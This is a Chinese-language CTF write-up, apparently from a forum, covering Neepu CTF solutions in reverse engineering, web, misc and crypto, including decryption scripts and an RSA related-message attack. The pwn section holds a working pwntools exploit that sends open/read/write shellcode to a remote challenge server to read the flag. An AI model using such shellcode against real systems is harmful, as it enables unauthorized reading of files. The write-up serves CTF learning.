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[原创]Neepu ctf wp

 3 years ago
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neoserver,ios ssh client

Neepu ctf wp

拿了个第一，AK了re，哈哈哈还是可以。


ID:The_Itach1

总排名: 1

分数： 8347

OLLEH

有点可惜，本来可以一血的，被NEEPU给迷惑了，哈哈哈。

ida看，流程，动调比较快

动调绕过得到

MD5加密一下，故flag为

Neepu{a4db343d5faf70bc4fb88dd8d4dc86de}

easyre

开始分析是分析exe文件，然后看了里面的一些字符串，什么.net之类的，后来发现flag在dll里面。

用dSspy打开dll，找到加密逻辑，大概就是栅栏，和简单字符处理

#include<stdio.h>
#include <iostream>
void Encrypt1(char *string1)
{
int num = 16;
for (int i = 0; i < num; i++)
{
bool flag = string1[i] >= 'a' && string1[i] <= 'z';
if (flag)
{
bool flag2 = string1[i] >= 'a' && string1[i] <= 'y';
if (flag2)
{
string1[i] -= '\u001f';
}
else
{
string1[i] = 'A';
}
}
else
{
bool flag3 = string1[i] >= 'A' && string1[i] <= 'Z';
if (flag3)
{
bool flag4 = string1[i] >= 'A' && string1[i] <= 'Y';
if (flag4)
{
string1[i] += '!';
}
else
{
string1[i] = 'a';
}
}
else
{
bool flag5 = string1[i] >= '0' && string1[i] <= '9';
if (flag5)
{
bool flag6 = string1[i] == '9';
if (flag6)
{
string1[i] = '0';
}
else
{
string1[i] += '\u0001';
}
}
}
}
}
}
int main(void)
{
char text[] = "mDDOT{gDO09_bSE}";
Encrypt1(text);
printf("%s",text);
}
//Neepu{Hep10_Ctf}

一个upx加壳程序，直接脱壳没脱起，手动用xdbg脱。

脱壳后ida分析，可以结合动调分析

先网上凯撒解密，得到

TcVb2HVxUs77MVzqYTF5WWFkZrzEZVzuMWEmXsn71bzjYUB54WFz

然后小写转大写

#include<stdio.h>
int main(void)
{
char flag[]="TcVb2HVxUs77MVzqYTF5WWFkZrzEZVzuMWEmXsn71bzjYUB54WFz";
int i;
for(i=0;i<53;i++)
{
if(flag[i]>=65&&flag[i]<=90)
{
flag[i]=flag[i]+32;
continue;
}
if(flag[i]<=122&&flag[i]>=97)
{
flag[i]=flag[i]-32;
}
}
printf("%s",flag);
}
//tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ

再变表base

import base64
import string
str1 ='tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ'
string1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))
#Neepu{Sha1_ta1_Yang_De_x1a0_lan_ma@_ya}

login

一个注册软件，开始用ida看，始终没找到check入口。后来百度发现，这是python写的注册程序，联想到exe转py(https://blog.csdn.net/m0_37552052/article/details/88093427)。

python pyinstxtractor.py [filename]

得到一个文件夹，里面有一个retest.pyc

反编译这个pyc，得到的py文件里面就有flag，命令

uncompyle6 -o  C:\Users\hp\Downloads\xxx.py C:\Users\hp\Downloads\xxx.pyc

得到flag

Neepu{vrey_good!!!!!}

这道题就是加密函数比较多，rc4，变表base，tea，xtea

ida分析

下面是tea，xtea加密

最后的异或处理

脚本，先得到8个数

#include<stdio.h>
void decrypt(unsigned int *code , unsigned int *key)
{
unsigned int delta=0x9e3779b9;
unsigned int v0,v1,sum=0xC6EF3720,i;// sum=0xC6EF3720
v0=code[0];
v1=code[1];
for(i=0;i<32;i++)
{
v1-=( (v0<<4)+key[2] ) ^ (v0+sum) ^ ( (v0>>5)+key[3] );
v0-=( (v1<<4)+key[0] ) ^ (v1+sum) ^ ( (v1>>5)+key[1] );
sum-=delta;
}
code[0]=v0;
code[1]=v1;
}
int main()
{
unsigned int key[4]={2,2,3,4};
unsigned int code[2]={0x24BDF90F,0x301B88E8};
decrypt(code,key);
printf("%x %x",code[0],code[1]);
}
#include<stdio.h>
void decrypt(unsigned int r ,unsigned int *code ,unsigned int *key)
{
unsigned int v0,v1,i,delta=0x9e3779b9;
unsigned int sum=delta*r;
v0=code[0];
v1=code[1];
for(i=0;i<r;i++)
{
v1-=( ((v0<<4) ^(v0>>5)) +v0 ) ^ ( sum + key[ (sum>>11)&3 ]);
sum-=delta;
v0-=( ((v1<<4) ^ (v1>>5)) +v1 ) ^ ( sum + key[sum&3] );
}
code[0]=v0;
code[1]=v1;
}
int main()
{
unsigned int key[4]={2,2,3,4};
unsigned int r=32;
unsigned int code[2]={0x8DD02793,0x4F558864};
decrypt(r,code,key);
printf("%x %x",code[0],code[1]);
}

得到v4[]={1 1 3 4 2 5 8 7}，排序后v4[]={1,1,2,3,4,5,7,8};

然后异或解密+变表base+rc4

#include<stdio.h>
int main()
{
int v9[48];
int v7[48]={0};
int v4[]={1,1,2,3,4,5,7,8};
char a[]={0xa5,0x4c,0xb6,0xea,0xd0,0xb9,0xb6,0x50,0x40,0xa4,0xda,0x37,0xe4,0xa,0x98,0xf7,0x5e,0x42,0x7f,0x1f,0x2,0xca,0x4e,0x9c,0x96,0xb4,0xdb,0x90,0xa7,0x15,0x12};
char key[]={0x94,0x75,0x81,0xd2,0xfd,0x81,0x9b,0x62,0x73,0xe4,0x91,0x58,0x86,0x6f,0xd8,0xb5,0x3f,0x31,0x14,0x7a,0x76,0xa8,0x2f,0xf0,0xfa,0x97,0xff,0xb5,0xf9,0x33,0x38};
int i;
v9[0] = 81;
v9[1] = 116;
v9[2] = 91;
v9[3] = 49;
v9[4] = 50;
v9[5] = 81;
v9[6] = 100;
v9[7] = 61;
v9[8] = 85;
v9[9] = 77;
v9[10] = 96;
v9[11] = 98;
v9[12] = 84;
v9[13] = 107;
v9[14] = 72;
v9[15] = 59;
v9[16] = 52;
v9[17] = 96;
v9[18] = 83;
v9[19] = 122;
v9[20] = 61;
v9[21] = 52;
v9[22] = 50;
v9[23] = 107;
v9[24] = 71;
v9[25] = 89;
v9[26] = 58;
v9[27] = 96;
v9[28] = 93;
v9[29] = 78;
v9[30] = 49;
v9[31] = 75;
v9[32] = 77;
v9[33] = 83;
v9[34] = 118;
v9[35] = 65;
v9[36] = 79;
v9[37] = 110;
v9[38] = 68;
v9[39] = 126;
v9[40] = 100;
v9[41] = 70;
v9[42] = 63;
v9[43] = 62;
v9[44] = 4;
v9[45] = 5;
v9[46] = 7;
v9[47] = 8;
for(i=0;i<48;i++)
{
v7[i]=v9[i]^v4[i%8];
printf("%c",v7[i]);
}
printf("\nNeepu{");
for(i=0;i<31;i++)
{
printf("%c",a[i]^key[i]);
}
printf("}");
}
//PuY26Tc5TLbaPnO35aQy915cFX8cYK6CLRtBKkCveG==
//Neepu{1978-8-23@Kobe@Basketball#$%^&*}

flag管理系统

一个腾讯加壳后的apk，脱壳https://zhuanlan.zhihu.com/p/45591754

脱壳后拖到jeb分析

不断分析，找到这个位置

然后直接登录，就可以得到flag了

ida打开文件，发现就是一个命令行传入参数切割后要是2333

所以直接nc连接，后传入参数2333_2333就行了。

easy_shellcode

利用write() read() 等系统调用去读取目标主机中的flag

exp

from pwn import *
context(arch = 'amd64', os = 'linux')
#p = process('./pwn')
p = remote('neepusec.club', 18707)
shellcode='''
push 0x67616c66
mov rdi,rsp
push 2
pop rax
xor rsi,rsi
push 64
pop rdx
syscall
mov rdi,rax
mov rsi,rsp
xor rax,rax
syscall
push 1
pop rdi
push 1
pop rax
syscall
'''
sc=asm(shellcode,arch='amd64',os='linux')
#gdb.attach(p)
# step 2
payload = sc
p.send(payload)
p.interactive()

getflag

LOVE_DEATH&ROBOTS

打开网站查看robots.txt

发现网页，然后查看源码得到flag

remote_table

乱点，发现有个notfund.html

查看源码发现flag

龙会说话吗

第一个文件使用foremost 分离

foremost dragon

得到图片，这是上古卷轴中的龙文

翻译一下是youseethedragon

解开音频文件密码

使用silenteye,分离音频文件中的flag.txt

base64解密得到flag

Neepu{Y0U_c4N_5p3ak_D74g0n_L4nge}

15 Puzzle!

数字华容道，玩出来

一直买进最后一种硬币

直到最后一种硬币的价格降为负数

然后再继续买进，会反得到钱

最后得到flag

linux入门

hint.txt说flag在根目录，最后在下面的目录下找到

grep -r Neep /etc

getflag/etc/neepu.conf:Neepu{ec65303a-594a-471b-842c-55ba49fffc74}

100道嘛，没技术，cv工程师。

>>> 4051411 + 7369807
11421218
>>> 1927490 * 3406803
6566578714470
>>> 2103378 + 4767414
6870792
>>> 9851522 + 7557356
17408878
>>> 7849095 - 4060360
3788735
>>> 3676374 * 461769
1697635545606
>>> 8761933 * 7649393
67023468956669
>>> 4366584 + 3791505
8158089
>>> 6187043 + 3868519
10055562
>>> 915470 - 1468721
-553251
>>> 7114910 * 4171780
29681839239800
>>> 3709127 * 7200939
26709197270253
>>> 5630669 * 469636
2644364866484
>>> 839781 - 3900794
-3061013
>>> 5749805 + 2756048
8505853
>>> 5802392 * 5964966
34611070998672
>>> 2922467 - 4633303
-1710836
>>> 5684999 + 2839796
8524795
>>> 3901163 - 9410974
-5509811
>>> 2101683 - 7035072
-4933389
>>> 3045929 * 8383894
25536745867526
>>> 9461518 - 775249
8686269
>>> 2070079 * 9062547
18760188231213
>>> 1372378 * 3324559
4562551631302
>>> 7935742 - 9654162
-1718420
>>> 7471885 * 3143174
23485434662990
>>> 5233253 + 2130813
7364066
>>> 3733553 - 1545796
2187757
>>> 4607382 - 4660512
-53130
>>> 5294353 * 9751863
51629805129639
>>> 7134216 + 7567342
14701558
>>> 7338456 - 7831906
-493450
>>> 4329962 - 5722123
-1392161
>>> 4089460 * 4515643
18466541422780
>>> 2500797 + 9106349
11607146
>>> 6490141 + 720890
7211031
>>> 941026 * 2354719
2215851801694
>>> 4927762 * 3892571
19181663456102
>>> 9236915 - 9986229
-749314
>>> 8508956 - 2031014
6477942
>>> 5909116 * 895019
5288771093204
>>> 5446863 * 3366598
18337398082074
>>> 7110459 - 1318622
5791837
>>> 4619014 + 1288077
5907091
>>> 6086609 + 1407736
7494345
>>> 8255658 + 9922356
18178014
>>> 2028134 + 6868507
8896641
>>> 784992 - 6018989
-5233997
>>> 3654529 - 33051
3621478
>>> 8342583 - 689917
7652666
>>> 17 ** 4
83521
>>> 45 % 2
1
>>> 59 ** 8
146830437604321
>>> 25 % 2
1
>>> 93 ** 7
60170087060757
>>> 68 ** 3
314432
>>> 73 % 5
3
>>> 26 ** 7
8031810176
>>> 16 % 5
1
>>> 18 % 10
8
>>> 75 % 1
0
>>> 68 % 7
5
>>> 9 ** 2
81
>>> 49 % 2
1
>>> 27 ** 4
531441
>>> 24 % 7
3
>>> 100 % 8
4
>>> 17 ** 10
2015993900449
>>> 23 % 6
5
>>> 99 ** 5
9509900499
>>> 86 % 3
2
>>> 25 % 9
7
>>> 87 ** 1
87
>>> 70 % 10
0
>>> 73 ** 4
28398241
>>> 84 % 4
0
>>> 63 % 4
3
>>> 97 ** 1
97
>>> 72 % 7
2
>>> 14 % 4
2
>>> 36 ** 2
1296
>>> 74 ** 4
29986576
>>> 36 ** 6
2176782336
>>> 40 ** 1
40
>>> 51 % 6
3
>>> 66 % 4
2
>>> 1 % 10
1
>>> 8 ** 2
64
>>> 13 % 4
1
>>> 25 % 1
0
>>> 3 ** 3
27
>>> 75 % 3
0
>>> 46 ** 8
20047612231936
>>> 48 ** 1
48
>>> 63 % 7
0
>>> 60 ** 8
167961600000000
>>> 96 % 1
0
>>> 84 % 8
4
>>> 46 % 9
1
>>> 71 % 9
8

flag没保存下来，也不想在弄了。。。

在这里找到flag

crypto

古代密码加密

一开始解不出，得到官方hint

得到png文件，改为png.png得到反切密码表

根据该对使得flag有头有尾

查看对的意思，百度搜索得到，对的解密为两个141 分别放在flag头尾

诗使得flag有声有调

根据反切密码的格式，先拿第一排的声母，再拿第二排的韵母，最后加上声调

最后的flag为:

Neepu{141181832310414124141}

chall1

c1 = pow(m, 7, n)
c2 = pow(m+e, 7, n)

注意到e很小且diffe = nextprime(random.randint(1,1000))联想到related_message_attack解出m和e

chall2

m = encode(p, q, e)
def encode (p1,p2,e):
not_hint = (p1 + 1) * (p2 + 1)
S = gmpy2.invert(e, not_hint)
not_p = S%(p1+1)
return not_p

由于m已知,且整个S在mod (p1+1)条件下,联想到dp泄漏,通常K很小,通过爆破K解出flag

# sage
from Crypto.Util.number import *
from gmpy2 import *
def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+y)^e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.4)[0] 
return diff
def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
e = 7
n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543
c1 = 10186066785511829759164194803209819172224966119227668638413350199662683285189286077736537161204019147791799351066849945954518642600518196927152098131117402608793752080104402893792812059620726950782670809837962606250674588612783027976958719051829085903720655233948024280118985875980227528403883475592567727892
c2 = 46182103994299145562022812023438495797686077104477472631494150222038404419414100727667171290098624214113241032861128455086601197239761085752413519627251290509474327611253599768650908336142621210005389246714504358370629231557080301516460985022782887233790302054696967900384601182742759555421864610431428746119
diff = short_pad_attack(c1, c2, e, n)
m1 = related_message_attack(c1, c2, diff, e, n)
print("m1 = ", m1)
print("m2 = ", m1 + diff)
c = 78543767285872349029076059073458316000847341792088805258173041942425687239313215276670106926320359777962661495032475004417723103701253550583245518206305422982968675291500865382213182669036827898932991063338163290845510339896689210314509493839746410486257998875782496654704288722251878269643040214139429715671
n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543
assert pow(m1,7,n) == c1
assert pow(m1+diff,7,n) == c2
s = m1
e = diff
tmp = s*e - 1
for i in range(1,e):
if tmp % i == 0:
tmp = tmp // i
p = tmp - 1
n = mpz(n)
p = mpz(p)
if gmpy2.gcd(n,p) != 1:
q = n // p
phi = mpz((p-1)*(q-1))
d = gmpy2.invert(mpz(e),phi)
print(long_to_bytes(gmpy2.powmod(c,d,n)))
exit()
# Neepu{Have-a-g00d-day12138}

部分题目下载链接

百度网盘：https://pan.baidu.com/s/1z3f9fjHQHI2KpjGjmHNA2A 提取码：abcd

[看雪官方培训] Unicorn Trace还原Ollvm算法！《安卓高级研修班》2021年6月班火热招生！！

最后于 2021-5-25 21:59 被kanxue编辑 ，原因：

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